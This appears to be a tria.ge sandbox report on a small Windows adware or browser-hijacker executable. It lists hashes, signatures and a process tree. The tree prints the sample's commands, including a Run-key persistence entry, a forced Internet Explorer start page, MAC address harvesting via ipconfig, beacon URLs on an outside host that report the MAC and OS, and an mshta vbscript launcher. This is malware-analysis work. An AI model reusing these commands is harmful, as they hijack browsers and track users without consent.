Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
153s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
07/01/2024, 19:15
Behavioral task
behavioral1
Sample
ac9268cb2641b313f7460ce40169e59b.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ac9268cb2641b313f7460ce40169e59b.exe
Resource
win10v2004-20231215-en
General
-
Target
ac9268cb2641b313f7460ce40169e59b.exe
-
Size
5KB
-
MD5
ac9268cb2641b313f7460ce40169e59b
-
SHA1
e32b781c7d15cd0e1354edd4e488e2750706e278
-
SHA256
d3aceee88f292e6bc52b4fe8eb9de669fe612e62ed4717ef05aaaf6eea29c569
-
SHA512
7b31c764279a959830c02a65fad81a1bcbfb8e41a6c00dcc8d68a0d6b925d782c73b8474f3e9ed1ec6e31801400886136dca459956e9201c45e83ad14c41d41f
-
SSDEEP
96:vfycZ+ALBd3vJEtPsCZIB2oPRGHzb7v1JydcRxN:ny2tLHR4sCOD8HD117N
Malware Config
Extracted
http://chaliang.115ku.cn/1261/yahooo.htm%22,0%29%28window.close%29
Signatures
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation mshta.exe -
resource yara_rule behavioral2/memory/4020-0-0x0000000000400000-0x0000000000408000-memory.dmp upx behavioral2/memory/4020-92-0x0000000000400000-0x0000000000408000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\pop = "C:\\Windows\\Registration\\runauto.vbs" reg.exe -
Drops file in Windows directory 11 IoCs
description ioc Process File created C:\Windows\Registration\internet.vbs cmd.exe File created C:\Windows\Registration\svchost.bat cmd.exe File opened for modification C:\Windows\Registration\svchost.bat cmd.exe File created C:\Windows\Registration\r.vbs cmd.exe File opened for modification C:\Windows\Registration\r.vbs cmd.exe File opened for modification C:\Windows\Registration\internet.vbs cmd.exe File opened for modification C:\Windows\Registration\Registration\svchost.bat cmd.exe File created C:\Windows\Registration\runauto.vbs cmd.exe File opened for modification C:\Windows\Registration\runauto.vbs cmd.exe File created C:\Windows\Registration\internet.bat cmd.exe File opened for modification C:\Windows\Registration\internet.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 1800 ipconfig.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "15073900" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 90380e049e41da01 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2C02E041-AD91-11EE-B6AD-FAD2FAC7202F} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2BFE1D05-AD91-11EE-B6AD-FAD2FAC7202F} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "15542573" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 408f62039e41da01 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "35231486" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "14917993" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31080862" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31080862" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "15698789" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef00000000020000000000106600000001000020000000ae68a458b1ea38622130bb5752dfab985745b0f0842676d633c5330a8fdb8570000000000e800000000200002000000020c5ab11d951a5ab9c40bd208e6eede3bb034d7b9bf22ffba78ba4e9a6c4ce65200000009f730572deee66c2734c8675d0ae0846102cfa0cdf29a45e2cc2cc8b2fbdd88240000000c5a9f801b1788b2aef3bf42c3f53ca29af9ba65f3ef814cbf2edb6f698b9c0b4dd98a6601c67522c2eadd9dfe3c724aaaa5bf9fa565887c36fe2199c75a48255 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "32261138" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "411419928" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef000000000200000000001066000000010000200000001951dd967c0b258a81172e04280a7dc7c63c64e49afe2212cf155a5bbcde2b6a000000000e800000000200002000000098c69806b5dd1a8df7a21c3a94807eb58de8b841419fe3860609aaa207bf59692000000032c07b2aa5478c065e9c36f400818893f06aba8a28055e8976769c088a661abb40000000ce5b12a3e78afcc545c8c8fc66804bde4c3d8abca9139f636e7bb7e46647c1afb6e949f41827392e247656853e64a7c09a85799143894fc876e0c7473f3c5f78 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main reg.exe Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe -
Modifies Internet Explorer start page 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.115ku.com/?1261/" reg.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command regedit.exe Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings cmd.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 960 reg.exe -
Runs .reg file with regedit 2 IoCs
pid Process 4876 regedit.exe 2424 regedit.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1396 iexplore.exe 4372 iexplore.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 4372 iexplore.exe 4372 iexplore.exe 1396 iexplore.exe 1396 iexplore.exe 1544 IEXPLORE.EXE 1544 IEXPLORE.EXE 3948 IEXPLORE.EXE 3948 IEXPLORE.EXE 3948 IEXPLORE.EXE 3948 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 45 IoCs
description pid Process procid_target PID 4020 wrote to memory of 4364 4020 ac9268cb2641b313f7460ce40169e59b.exe 89 PID 4020 wrote to memory of 4364 4020 ac9268cb2641b313f7460ce40169e59b.exe 89 PID 4020 wrote to memory of 4364 4020 ac9268cb2641b313f7460ce40169e59b.exe 89 PID 4364 wrote to memory of 960 4364 cmd.exe 91 PID 4364 wrote to memory of 960 4364 cmd.exe 91 PID 4364 wrote to memory of 960 4364 cmd.exe 91 PID 4364 wrote to memory of 4876 4364 cmd.exe 92 PID 4364 wrote to memory of 4876 4364 cmd.exe 92 PID 4364 wrote to memory of 4876 4364 cmd.exe 92 PID 4364 wrote to memory of 1848 4364 cmd.exe 93 PID 4364 wrote to memory of 1848 4364 cmd.exe 93 PID 4364 wrote to memory of 1848 4364 cmd.exe 93 PID 4364 wrote to memory of 1384 4364 cmd.exe 94 PID 4364 wrote to memory of 1384 4364 cmd.exe 94 PID 4364 wrote to memory of 1384 4364 cmd.exe 94 PID 4364 wrote to memory of 2424 4364 cmd.exe 95 PID 4364 wrote to memory of 2424 4364 cmd.exe 95 PID 4364 wrote to memory of 2424 4364 cmd.exe 95 PID 4364 wrote to memory of 4332 4364 cmd.exe 97 PID 4364 wrote to memory of 4332 4364 cmd.exe 97 PID 4364 wrote to memory of 4332 4364 cmd.exe 97 PID 4332 wrote to memory of 1800 4332 cmd.exe 98 PID 4332 wrote to memory of 1800 4332 cmd.exe 98 PID 4332 wrote to memory of 1800 4332 cmd.exe 98 PID 4332 wrote to memory of 4916 4332 cmd.exe 99 PID 4332 wrote to memory of 4916 4332 cmd.exe 99 PID 4332 wrote to memory of 4916 4332 cmd.exe 99 PID 4364 wrote to memory of 4220 4364 cmd.exe 101 PID 4364 wrote to memory of 4220 4364 cmd.exe 101 PID 4364 wrote to memory of 4220 4364 cmd.exe 101 PID 4364 wrote to memory of 2404 4364 cmd.exe 102 PID 4364 wrote to memory of 2404 4364 cmd.exe 102 PID 4364 wrote to memory of 2404 4364 cmd.exe 102 PID 4220 wrote to memory of 1396 4220 WScript.exe 103 PID 4220 wrote to memory of 1396 4220 WScript.exe 103 PID 4220 wrote to memory of 4372 4220 WScript.exe 104 PID 4220 wrote to memory of 4372 4220 WScript.exe 104 PID 1396 wrote to memory of 1544 1396 iexplore.exe 105 PID 1396 wrote to memory of 1544 1396 iexplore.exe 105 PID 1396 wrote to memory of 1544 1396 iexplore.exe 105 PID 4372 wrote to memory of 3948 4372 iexplore.exe 106 PID 4372 wrote to memory of 3948 4372 iexplore.exe 106 PID 4372 wrote to memory of 3948 4372 iexplore.exe 106 PID 2404 wrote to memory of 2060 2404 mshta.exe 107 PID 2404 wrote to memory of 2060 2404 mshta.exe 107
Processes
-
C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe"C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\240632750.bat2⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\SysWOW64\reg.exereg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\Windows\Registration\runauto.vbs /f3⤵
- Adds Run key to start application
- Modifies registry key
PID:960
-
-
C:\Windows\SysWOW64\regedit.exeRegedit /s tem.reg3⤵
- Modifies registry class
- Runs .reg file with regedit
PID:4876
-
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.115ku.com/?1261/ /f3⤵
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
PID:1848
-
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f3⤵PID:1384
-
-
C:\Windows\SysWOW64\regedit.exeRegedit /s gai.reg3⤵
- Runs .reg file with regedit
PID:2424
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"3⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /all4⤵
- Gathers network information
PID:1800
-
-
C:\Windows\SysWOW64\findstr.exefindstr /c:"Physical Address"4⤵PID:4916
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Windows\Registration\r.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/count.asp?mac= FA:D2:FA:C7:20:2F&os=Windows_NT&ver=126105234⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1396 CREDAT:17410 /prefetch:25⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1544
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/zongtai/count.asp?mac= FA:D2:FA:C7:20:2F&os=Windows_NT&ver=126105234⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4372 CREDAT:17410 /prefetch:25⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3948
-
-
-
-
C:\Windows\SysWOW64\mshta.exemshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://chaliang.115ku.cn/1261/yahooo.htm",0)(window.close)3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/yahooo.htm4⤵
- Modifies Internet Explorer settings
PID:2060
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2BFE1D05-AD91-11EE-B6AD-FAD2FAC7202F}.dat
Filesize5KB
MD53943df2bacc9c7718998d96409fa2bc8
SHA14e016d13f9f640aec8737a16271db84f4caf57c7
SHA25650fad6eafb4060c91f395ca734231a64c7923d5add86fc3f2728cdd5d1143d19
SHA5120a80838ce4905291b06ba7687af88071b500193f7301dfdcaf6f156a90134da55cccbc02b193389f9a6739f4ac8fe064b2836e381b04a4d4170825048412a386
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2C02E041-AD91-11EE-B6AD-FAD2FAC7202F}.dat
Filesize3KB
MD596fffcbe39504886fa26e018e9fb1650
SHA155455dfd549cbd34da6e61b0eca91b925d10bdcd
SHA256f6b9b735d1055221844357650a178d2d5b6508f21d9945eedc2636ff478c073b
SHA5129fd3e2ba4420a08c36912912e20927d88abae4a6f8cfa52004644b4a604e0c075c0f8fd51bfb44c0c0b981e8b6bb129537b29ed690d2fcee4f26663bcffab972
-
Filesize
15KB
MD51a545d0052b581fbb2ab4c52133846bc
SHA162f3266a9b9925cd6d98658b92adec673cbe3dd3
SHA256557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
SHA512bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d
-
Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
-
Filesize
9KB
MD552b3b486737185cd4c4eff05e3e1f864
SHA1de4bda3507cc183cf72c97e5cc1ffc6332467268
SHA256294f357ba1e2c985df765cb065b6386ea41398442766c34f76f18d2a149d4ae1
SHA512757b8816b18374af07d597a2f58e415fcfa49eceea6cc69ec66b880d241975b9cd42be92cb39cea09f2aa1bfacec41dcb4438b122955c66166c544ad71b3774f
-
Filesize
309B
MD58c9d7b6c427f4978944db6dcdf2905be
SHA18fb3eb9e98895a774fdd4f043205a2d7abf75ccd
SHA256b70851b5596fc38203915b7803d6e6b96e2bfc4a99f7181418dc489bf4b290de
SHA5128cfaa804ad8e58c8394d19d9a28b07e81c4ac52d2aaabb1eb1b16a97b6d52a4cda204f0d23557e83f9a1bfd906dec42d9cd8a88433cedd69e833ee9767508897
-
Filesize
222B
MD56a93b828dc3fcb54b2e3919c0b3baadd
SHA163894f7f0b727cae32e583909e78928250704f74
SHA256ebe5d10b0794a2374bb21f8508649abecc8c6036f49c36d504123feb3eb01764
SHA5128bbf0aeb1c90df3badeae7298fadf77aceb1edf1d723e4c8e304ee0de635740a8b2807c98b277664ad8a2e1a44ae3a26c1fe793909a74191bb48d58ad81db0dd
-
Filesize
132B
MD5678552ee826a12311aa214128cc429d9
SHA1f25d1d39cf165549be0d282c562f1e8820f4ad7a
SHA2568f52283b091ae14d72cb8cfeb21f5ebfb682f534d0b63472e04015c3daf25543
SHA5128cf3556e94fdbba84dbbc98045f5a5614ada95970bfe255ab6a8e1573f9c333148b119b2a7276aafeae975a5958a6fe716213d96e48d57588bbfb673a7317bcb
-
Filesize
281B
MD5f5e6165cade8182794e0f0f026905e1d
SHA1961f1210ac90d4e08eed577877759ea0e4f1b405
SHA2563b00a0ae7969fdc75a43a9fa05d21f45643e4236ae963812857f820373755368
SHA512fa11ed584ccfd08a102856942c86679512ec5b94feb6337f4c53b8f62532179674fc9e4df1a4eebc40dca64e960c46e8f3467489d7d74f583652a4063910b0b2